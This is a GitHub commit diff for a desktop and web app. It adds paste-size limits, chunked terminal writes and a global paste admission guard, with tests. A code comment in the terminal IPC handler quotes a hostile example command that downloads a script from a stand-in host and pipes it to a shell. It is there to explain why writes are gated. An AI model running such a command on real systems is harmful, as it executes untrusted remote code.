Skip to content

Commit 27b97cb

Browse files
authored
fix(ui): optimize universal paste handling (#7148)
* fix(ui): optimize universal paste handling * fix(ui): keep paste limits as safety hatches * improvement(ui): reduce large-paste admission overhead * fix(ui): preserve large context paste behavior
1 parent 76c7be5 commit 27b97cb

38 files changed

Lines changed: 1305 additions & 135 deletions

File tree

apps/desktop/src/main/ipc.test.ts

Lines changed: 23 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,6 @@
11
import { readFileSync } from 'node:fs'
22
import { fileURLToPath } from 'node:url'
3+
import { PASTE_LIMITS } from '@sim/utils/paste'
34
import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
45

56
vi.mock('electron', () => import('@/test/electron-mock'))
@@ -1695,6 +1696,28 @@ describe('registerIpcHandlers', () => {
16951696
expect(write).not.toHaveBeenCalled()
16961697
})
16971698

1699+
it('rejects an oversized terminal paste before writing to the PTY', async () => {
1700+
const { invoke } = collectHandlers()
1701+
const write = vi.spyOn(deps.terminal, 'write').mockImplementation(() => {})
1702+
vi.mocked(clipboard.readText).mockReturnValue('x'.repeat(PASTE_LIMITS.TERMINAL_BYTES + 1))
1703+
1704+
await expect(invoke.get('terminal:paste')?.(activeAppEvent, 't1', 'chat-a')).resolves.toBe(
1705+
'too-large'
1706+
)
1707+
expect(write).not.toHaveBeenCalled()
1708+
})
1709+
1710+
it('writes an admitted terminal paste in bounded chunks', async () => {
1711+
const { invoke } = collectHandlers()
1712+
const write = vi.spyOn(deps.terminal, 'write').mockImplementation(() => {})
1713+
const text = 'x'.repeat(70 * 1024)
1714+
vi.mocked(clipboard.readText).mockReturnValue(text)
1715+
1716+
await expect(invoke.get('terminal:paste')?.(activeAppEvent, 't1', 'chat-a')).resolves.toBe(true)
1717+
expect(write).toHaveBeenCalledTimes(2)
1718+
expect(write.mock.calls.map((call) => call[2]).join('')).toBe(text)
1719+
})
1720+
16981721
it('gates a command smuggled inside a fake OSC or DCS reply', () => {
16991722
const { on } = collectHandlers()
17001723
const write = vi.spyOn(deps.terminal, 'write').mockImplementation(() => {})

apps/desktop/src/main/ipc.ts

Lines changed: 24 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -27,6 +27,7 @@ import {
2727
} from '@sim/terminal-protocol'
2828
import { getErrorMessage } from '@sim/utils/errors'
2929
import { isRecordLike } from '@sim/utils/object'
30+
import { PASTE_LIMITS, utf8ByteLength } from '@sim/utils/paste'
3031
import type { BrowserWindow, IpcMainEvent, IpcMainInvokeEvent, WebContents } from 'electron'
3132
import { clipboard, ipcMain, shell } from 'electron'
3233
import {
@@ -90,6 +91,23 @@ const logger = createLogger('DesktopIpc')
9091

9192
/** Workspace/chat ids are opaque tokens; anything else never reaches a URL. */
9293
const ID_PATTERN = /^[A-Za-z0-9_-]{1,128}$/
94+
const TERMINAL_WRITE_CHUNK_CHARACTERS = 64 * 1024
95+
96+
function writeTerminalText(
97+
terminal: TerminalRegistry,
98+
scope: string,
99+
terminalId: string,
100+
text: string
101+
): void {
102+
let start = 0
103+
while (start < text.length) {
104+
let end = Math.min(start + TERMINAL_WRITE_CHUNK_CHARACTERS, text.length)
105+
const finalCode = text.charCodeAt(end - 1)
106+
if (end < text.length && finalCode >= 0xd800 && finalCode <= 0xdbff) end -= 1
107+
terminal.write(scope, terminalId, text.slice(start, end))
108+
start = end
109+
}
110+
}
93111

94112
const MICROPHONE_SETTINGS_URLS: Partial<Record<NodeJS.Platform, string>> = {
95113
darwin: 'x-apple.systempreferences:com.apple.preference.security?Privacy_Microphone',
@@ -1546,7 +1564,10 @@ export function registerIpcHandlers(deps: IpcDeps): void {
15461564
if (!scope || typeof terminalId !== 'string') return false
15471565
const text = clipboard.readText()
15481566
if (!text) return false
1549-
deps.terminal.write(scope, terminalId, text)
1567+
if (utf8ByteLength(text, PASTE_LIMITS.TERMINAL_BYTES) > PASTE_LIMITS.TERMINAL_BYTES) {
1568+
return 'too-large'
1569+
}
1570+
writeTerminalText(deps.terminal, scope, terminalId, text)
15501571
return true
15511572
},
15521573
},
@@ -1735,7 +1756,8 @@ export function registerIpcHandlers(deps: IpcDeps): void {
17351756
handler: (sender, terminalId, data, rawScope) => {
17361757
const scope = rendererScope(terminalScopeBySender, sender as WebContents, rawScope)
17371758
if (!scope || typeof terminalId !== 'string' || typeof data !== 'string') return
1738-
deps.terminal.write(scope, terminalId, data)
1759+
if (utf8ByteLength(data, PASTE_LIMITS.TERMINAL_BYTES) > PASTE_LIMITS.TERMINAL_BYTES) return
1760+
writeTerminalText(deps.terminal, scope, terminalId, data)
17391761
},
17401762
// An XSS'd or hostile origin must not reach `write(id, 'curl evil.sh|sh\r')`.
17411763
// Panel focus is deliberately not used — `terminal:focused` is a

apps/desktop/src/preload/index.ts

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -456,7 +456,7 @@ const api: SimDesktopApi = {
456456
write: (terminalId: string, data: string, scopeId: string): void => {
457457
ipcRenderer.send('terminal:write', terminalId, data, scopeId)
458458
},
459-
paste: (terminalId: string, scopeId: string): Promise<boolean> =>
459+
paste: (terminalId: string, scopeId: string) =>
460460
ipcRenderer.invoke('terminal:paste', terminalId, scopeId),
461461
resize: (terminalId: string, cols: number, rows: number, scopeId: string): void => {
462462
ipcRenderer.send('terminal:resize', terminalId, cols, rows, scopeId)

apps/realtime/src/config/socket.ts

Lines changed: 5 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -11,8 +11,11 @@ const logger = createLogger('SocketIOConfig')
1111
const PING_TIMEOUT_MS = 60000
1212
/** Socket.IO ping interval - how often to send ping packets */
1313
const PING_INTERVAL_MS = 25000
14-
/** Maximum HTTP buffer size for Socket.IO messages */
15-
const MAX_HTTP_BUFFER_SIZE = 1e6
14+
/**
15+
* Accommodates the existing 5 MiB collaborative-document boundary plus Yjs and Socket.IO framing.
16+
* This remains a transport safety hatch, not a product-sized text limit.
17+
*/
18+
const MAX_HTTP_BUFFER_SIZE = 8 * 1024 * 1024
1619

1720
let adapterPubClient: RedisClientType | null = null
1821
let adapterSubClient: RedisClientType | null = null
Lines changed: 110 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,110 @@
1+
/**
2+
* @vitest-environment jsdom
3+
*/
4+
import { act } from 'react'
5+
import { createRoot, type Root } from 'react-dom/client'
6+
import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
7+
8+
const { warning } = vi.hoisted(() => ({ warning: vi.fn() }))
9+
10+
vi.mock('@sim/emcn', () => ({
11+
useToast: () => ({ toast: { warning } }),
12+
}))
13+
14+
import { SIM_SELECTION_MIME } from '@/lib/copilot/chat/selection-clipboard'
15+
import { PasteAdmissionGuard } from '@/app/_shell/paste-admission-guard'
16+
17+
let host: HTMLDivElement
18+
let root: Root
19+
20+
function dispatchPaste(target: Element, text: string, selectionContext?: string): Event {
21+
const event = new Event('paste', {
22+
bubbles: true,
23+
cancelable: true,
24+
composed: true,
25+
})
26+
Object.defineProperty(event, 'clipboardData', {
27+
value: {
28+
getData: (type: string) => {
29+
if (type === 'text/plain') return text
30+
if (type === SIM_SELECTION_MIME) return selectionContext ?? ''
31+
return ''
32+
},
33+
},
34+
})
35+
target.dispatchEvent(event)
36+
return event
37+
}
38+
39+
beforeEach(() => {
40+
host = document.createElement('div')
41+
document.body.appendChild(host)
42+
root = createRoot(host)
43+
act(() => root.render(<PasteAdmissionGuard />))
44+
})
45+
46+
afterEach(() => {
47+
act(() => root.unmount())
48+
host.remove()
49+
vi.clearAllMocks()
50+
})
51+
52+
describe('PasteAdmissionGuard', () => {
53+
it('rejects an oversized native paste before the target handler runs', () => {
54+
const input = document.createElement('textarea')
55+
input.dataset.pasteMaxBytes = '4'
56+
host.appendChild(input)
57+
const targetHandler = vi.fn()
58+
input.addEventListener('paste', targetHandler)
59+
60+
const event = dispatchPaste(input, '12345')
61+
62+
expect(event.defaultPrevented).toBe(true)
63+
expect(targetHandler).not.toHaveBeenCalled()
64+
expect(warning).toHaveBeenCalledOnce()
65+
})
66+
67+
it('does not reject a small payload because the existing native value is large', () => {
68+
const input = document.createElement('textarea')
69+
input.dataset.pasteMaxBytes = '6'
70+
input.value = '123456'
71+
host.appendChild(input)
72+
73+
input.setSelectionRange(6, 6)
74+
expect(dispatchPaste(input, 'a').defaultPrevented).toBe(false)
75+
})
76+
77+
it('honors a surface-specific character contract', () => {
78+
const input = document.createElement('textarea')
79+
input.dataset.pasteMaxBytes = '100'
80+
input.dataset.pasteMaxCharacters = '2'
81+
host.appendChild(input)
82+
83+
expect(dispatchPaste(input, '💡💡').defaultPrevented).toBe(true)
84+
})
85+
86+
it('does not reject a small payload because contenteditable text is already large', () => {
87+
const editable = document.createElement('div')
88+
editable.contentEditable = 'true'
89+
editable.dataset.pasteMaxBytes = '6'
90+
editable.textContent = '123456'
91+
host.appendChild(editable)
92+
93+
expect(dispatchPaste(editable, 'a').defaultPrevented).toBe(false)
94+
})
95+
96+
it('lets a compact Sim selection reference bypass its large plain-text representation', () => {
97+
const input = document.createElement('textarea')
98+
input.dataset.pasteMaxBytes = '4'
99+
host.appendChild(input)
100+
const selectionContext = JSON.stringify({
101+
kind: 'table_selection',
102+
tableId: 'table-1',
103+
tableName: 'Large table',
104+
rowIds: ['row-1'],
105+
label: 'Large table (1 row)',
106+
})
107+
108+
expect(dispatchPaste(input, '12345', selectionContext).defaultPrevented).toBe(false)
109+
})
110+
})
Lines changed: 71 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,71 @@
1+
'use client'
2+
3+
import { useEffect, useRef } from 'react'
4+
import { useToast } from '@sim/emcn'
5+
import { assessTextPaste, formatPasteLimit, PASTE_LIMITS } from '@sim/utils/paste'
6+
import { readSelectionContextFromClipboard } from '@/lib/copilot/chat/selection-clipboard'
7+
8+
const EDITABLE_TARGET_SELECTOR =
9+
'input:not([type="file"]):not([type="checkbox"]):not([type="radio"]):not([type="button"]):not([type="submit"]):not([type="hidden"]), textarea, [contenteditable]:not([contenteditable="false"]), .monaco-editor, .xterm'
10+
11+
function finitePositiveAttribute(element: Element | null, name: string): number | undefined {
12+
const raw = element?.getAttribute(name)
13+
if (!raw) return undefined
14+
const value = Number(raw)
15+
return Number.isFinite(value) && value > 0 ? value : undefined
16+
}
17+
18+
/**
19+
* Last-resort admission for every editable workspace surface. Specialized editors publish their
20+
* downstream ceiling on an ancestor with `data-paste-max-bytes`; controls without one inherit a
21+
* crash-only fallback. This layer bounds only the clipboard payload, so a small paste into an already
22+
* large field keeps native behavior. Editors with a real result-size contract enforce it themselves.
23+
* The capture listener runs before React, ProseMirror, Monaco, and xterm parse the clipboard value.
24+
*/
25+
export function PasteAdmissionGuard() {
26+
const { toast: notify } = useToast()
27+
const notifyRef = useRef(notify)
28+
notifyRef.current = notify
29+
30+
useEffect(() => {
31+
const handlePaste = (event: ClipboardEvent) => {
32+
if (!(event.target instanceof Element) || !event.target.closest(EDITABLE_TARGET_SELECTOR)) {
33+
return
34+
}
35+
36+
if (readSelectionContextFromClipboard(event.clipboardData)) return
37+
38+
const text = event.clipboardData?.getData('text/plain') ?? ''
39+
if (!text) return
40+
41+
const policyElement = event.target.closest('[data-paste-max-bytes]')
42+
const maxPastedBytes =
43+
finitePositiveAttribute(policyElement, 'data-paste-max-bytes') ?? PASTE_LIMITS.DEFAULT_BYTES
44+
const maxPastedCharacters = finitePositiveAttribute(
45+
policyElement,
46+
'data-paste-max-characters'
47+
)
48+
const admission = assessTextPaste({
49+
pastedText: text,
50+
maxPastedBytes,
51+
maxPastedCharacters,
52+
})
53+
if (admission.accepted) return
54+
55+
event.preventDefault()
56+
event.stopImmediatePropagation()
57+
const limit =
58+
admission.reason === 'pasted-characters'
59+
? `${admission.limit.toLocaleString()} characters`
60+
: formatPasteLimit(admission.limit)
61+
notifyRef.current.warning('Paste is too large for this editor', {
62+
description: `The clipboard content was left unchanged. This editor supports up to ${limit}.`,
63+
})
64+
}
65+
66+
document.addEventListener('paste', handlePaste, true)
67+
return () => document.removeEventListener('paste', handlePaste, true)
68+
}, [])
69+
70+
return null
71+
}

apps/sim/app/credential-groups/enroll/[token]/page.tsx

Lines changed: 6 additions & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,5 @@
11
import { type ReactNode, Suspense } from 'react'
2-
import { Chip, ToastProvider } from '@sim/emcn'
2+
import { Chip } from '@sim/emcn'
33
import type { Metadata } from 'next'
44
import { headers } from 'next/headers'
55
import { asOrchestrationError } from '@/lib/core/orchestration/types'
@@ -35,13 +35,11 @@ interface PageShellProps {
3535

3636
function PageShell({ children }: PageShellProps) {
3737
return (
38-
<ToastProvider>
39-
<LogoShell footer={<SupportFooter position='static' />}>
40-
<div className='mx-auto flex w-full max-w-[640px] flex-1 flex-col px-5 pt-16 pb-20 max-sm:pt-10'>
41-
{children}
42-
</div>
43-
</LogoShell>
44-
</ToastProvider>
38+
<LogoShell footer={<SupportFooter position='static' />}>
39+
<div className='mx-auto flex w-full max-w-[640px] flex-1 flex-col px-5 pt-16 pb-20 max-sm:pt-10'>
40+
{children}
41+
</div>
42+
</LogoShell>
4543
)
4644
}
4745

apps/sim/app/layout.tsx

Lines changed: 16 additions & 11 deletions
Original file line numberDiff line numberDiff line change
@@ -1,8 +1,10 @@
1+
import { ToastProvider } from '@sim/emcn'
12
import type { Metadata, Viewport } from 'next'
23
import Script from 'next/script'
34
import { PublicEnvScript as RuntimePublicEnvScript } from 'next-runtime-env'
45
import { NuqsAdapter } from 'nuqs/adapters/next/app'
56
import { BrandedLayout } from '@/components/branded-layout'
7+
import { PasteAdmissionGuard } from '@/app/_shell/paste-admission-guard'
68
import { PostHogProvider } from '@/app/_shell/providers/posthog-provider'
79
import { generateBrandedMetadata, generateThemeCSS } from '@/ee/whitelabeling'
810
import '@/app/_styles/globals.css'
@@ -36,17 +38,20 @@ export const metadata: Metadata = generateBrandedMetadata()
3638
export default function RootLayout({ children }: { children: React.ReactNode }) {
3739
const themeCSS = generateThemeCSS()
3840
const application = (
39-
<PostHogProvider consentRequired={isHosted}>
40-
<ThemeProvider>
41-
<QueryProvider>
42-
<SessionProvider>
43-
<TooltipProvider>
44-
<BrandedLayout>{children}</BrandedLayout>
45-
</TooltipProvider>
46-
</SessionProvider>
47-
</QueryProvider>
48-
</ThemeProvider>
49-
</PostHogProvider>
41+
<ToastProvider>
42+
<PasteAdmissionGuard />
43+
<PostHogProvider consentRequired={isHosted}>
44+
<ThemeProvider>
45+
<QueryProvider>
46+
<SessionProvider>
47+
<TooltipProvider>
48+
<BrandedLayout>{children}</BrandedLayout>
49+
</TooltipProvider>
50+
</SessionProvider>
51+
</QueryProvider>
52+
</ThemeProvider>
53+
</PostHogProvider>
54+
</ToastProvider>
5055
)
5156

5257
return (

apps/sim/app/playground/page.tsx

Lines changed: 2 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -74,7 +74,6 @@ import {
7474
type TagItem,
7575
Textarea,
7676
TimePicker,
77-
ToastProvider,
7877
Tooltip,
7978
Trash,
8079
toast,
@@ -163,7 +162,7 @@ export default function PlaygroundPage() {
163162
}
164163

165164
return (
166-
<ToastProvider>
165+
<>
167166
<Tooltip.Provider>
168167
<div className='relative min-h-screen bg-[var(--bg)] p-8'>
169168
<div className='absolute top-8 left-8 flex items-center gap-2'>
@@ -1066,6 +1065,6 @@ export default function PlaygroundPage() {
10661065
</div>
10671066
</div>
10681067
</Tooltip.Provider>
1069-
</ToastProvider>
1068+
</>
10701069
)
10711070
}

0 commit comments

Comments
 (0)